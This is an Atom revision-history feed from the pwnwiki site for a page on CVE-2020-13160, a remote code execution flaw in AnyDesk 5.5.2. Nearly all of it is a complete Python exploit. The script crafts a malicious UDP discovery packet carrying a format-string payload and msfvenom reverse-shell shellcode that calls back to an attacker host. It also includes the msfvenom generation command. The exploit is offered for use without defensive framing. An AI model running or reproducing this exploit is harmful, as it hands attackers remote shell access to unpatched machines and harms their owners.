<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-13160_AnyDesk_5.5.2%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-13160 AnyDesk 5.5.2遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-13160_AnyDesk_5.5.2%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-13160_AnyDesk_5.5.2%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-17T01:41:42Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-13160_AnyDesk_5.5.2%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=336&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: AnyDesk 5.5.2 - Remote Code Execution # Date: 09/06/20 # Exploit Author: scryh # Vendor Homepage: https://anydesk.com/en # Version: 5.5.2 # Test...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-13160_AnyDesk_5.5.2%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=336&amp;oldid=prev"/>
		<updated>2021-03-12T07:59:05Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: AnyDesk 5.5.2 - Remote Code Execution # Date: 09/06/20 # Exploit Author: scryh # Vendor Homepage: https://anydesk.com/en # Version: 5.5.2 # Test...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: AnyDesk 5.5.2 - Remote Code Execution&lt;br /&gt;
# Date: 09/06/20&lt;br /&gt;
# Exploit Author: scryh&lt;br /&gt;
# Vendor Homepage: https://anydesk.com/en&lt;br /&gt;
# Version: 5.5.2&lt;br /&gt;
# Tested on: Linux&lt;br /&gt;
# Walkthrough: https://devel0pment.de/?p=1881&lt;br /&gt;
&lt;br /&gt;
#!/usr/bin/env python&lt;br /&gt;
import struct&lt;br /&gt;
import socket&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
ip = '192.168.x.x'&lt;br /&gt;
port = 50001&lt;br /&gt;
&lt;br /&gt;
def gen_discover_packet(ad_id, os, hn, user, inf, func):&lt;br /&gt;
  d  = chr(0x3e)+chr(0xd1)+chr(0x1)&lt;br /&gt;
  d += struct.pack('&amp;gt;I', ad_id)&lt;br /&gt;
  d += struct.pack('&amp;gt;I', 0)&lt;br /&gt;
  d += chr(0x2)+chr(os)&lt;br /&gt;
  d += struct.pack('&amp;gt;I', len(hn)) + hn&lt;br /&gt;
  d += struct.pack('&amp;gt;I', len(user)) + user&lt;br /&gt;
  d += struct.pack('&amp;gt;I', 0)&lt;br /&gt;
  d += struct.pack('&amp;gt;I', len(inf)) + inf&lt;br /&gt;
  d += chr(0)&lt;br /&gt;
  d += struct.pack('&amp;gt;I', len(func)) + func&lt;br /&gt;
  d += chr(0x2)+chr(0xc3)+chr(0x51)&lt;br /&gt;
  return d&lt;br /&gt;
&lt;br /&gt;
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.y.y LPORT=4444 -b &amp;quot;\x00\x25\x26&amp;quot; -f python -v shellcode&lt;br /&gt;
shellcode =  b&amp;quot;&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x8d\x05\xef\xff\xff\xff\x48\xbb\xcb\x46\x40&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x6c\xed\xa4\xe0\xfb\x48\x31\x58\x27\x48\x2d&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\xf8\xff\xff\xff\xe2\xf4\xa1\x6f\x18\xf5\x87&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\xa6\xbf\x91\xca\x18\x4f\x69\xa5\x33\xa8\x42&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\xc9\x46\x41\xd1\x2d\x0c\x96\xf8\x9a\x0e\xc9&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x8a\x87\xb4\xba\x91\xe1\x1e\x4f\x69\x87\xa7&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\xbe\xb3\x34\x88\x2a\x4d\xb5\xab\xe5\x8e\x3d&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x2c\x7b\x34\x74\xec\x5b\xd4\xa9\x2f\x2e\x43&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x9e\xcc\xe0\xa8\x83\xcf\xa7\x3e\xba\xec\x69&amp;quot;&lt;br /&gt;
shellcode += b&amp;quot;\x1d\xc4\x43\x40\x6c\xed\xa4\xe0\xfb&amp;quot;&lt;br /&gt;
&lt;br /&gt;
print('sending payload ...')&lt;br /&gt;
p = gen_discover_packet(4919, 1, '\x85\xfe%1$*1$x%18x%165$ln'+shellcode, '\x85\xfe%18472249x%93$ln', 'ad', 'main')&lt;br /&gt;
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
s.sendto(p, (ip, port))&lt;br /&gt;
s.close()&lt;br /&gt;
print('reverse shell should connect within 5 seconds')&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>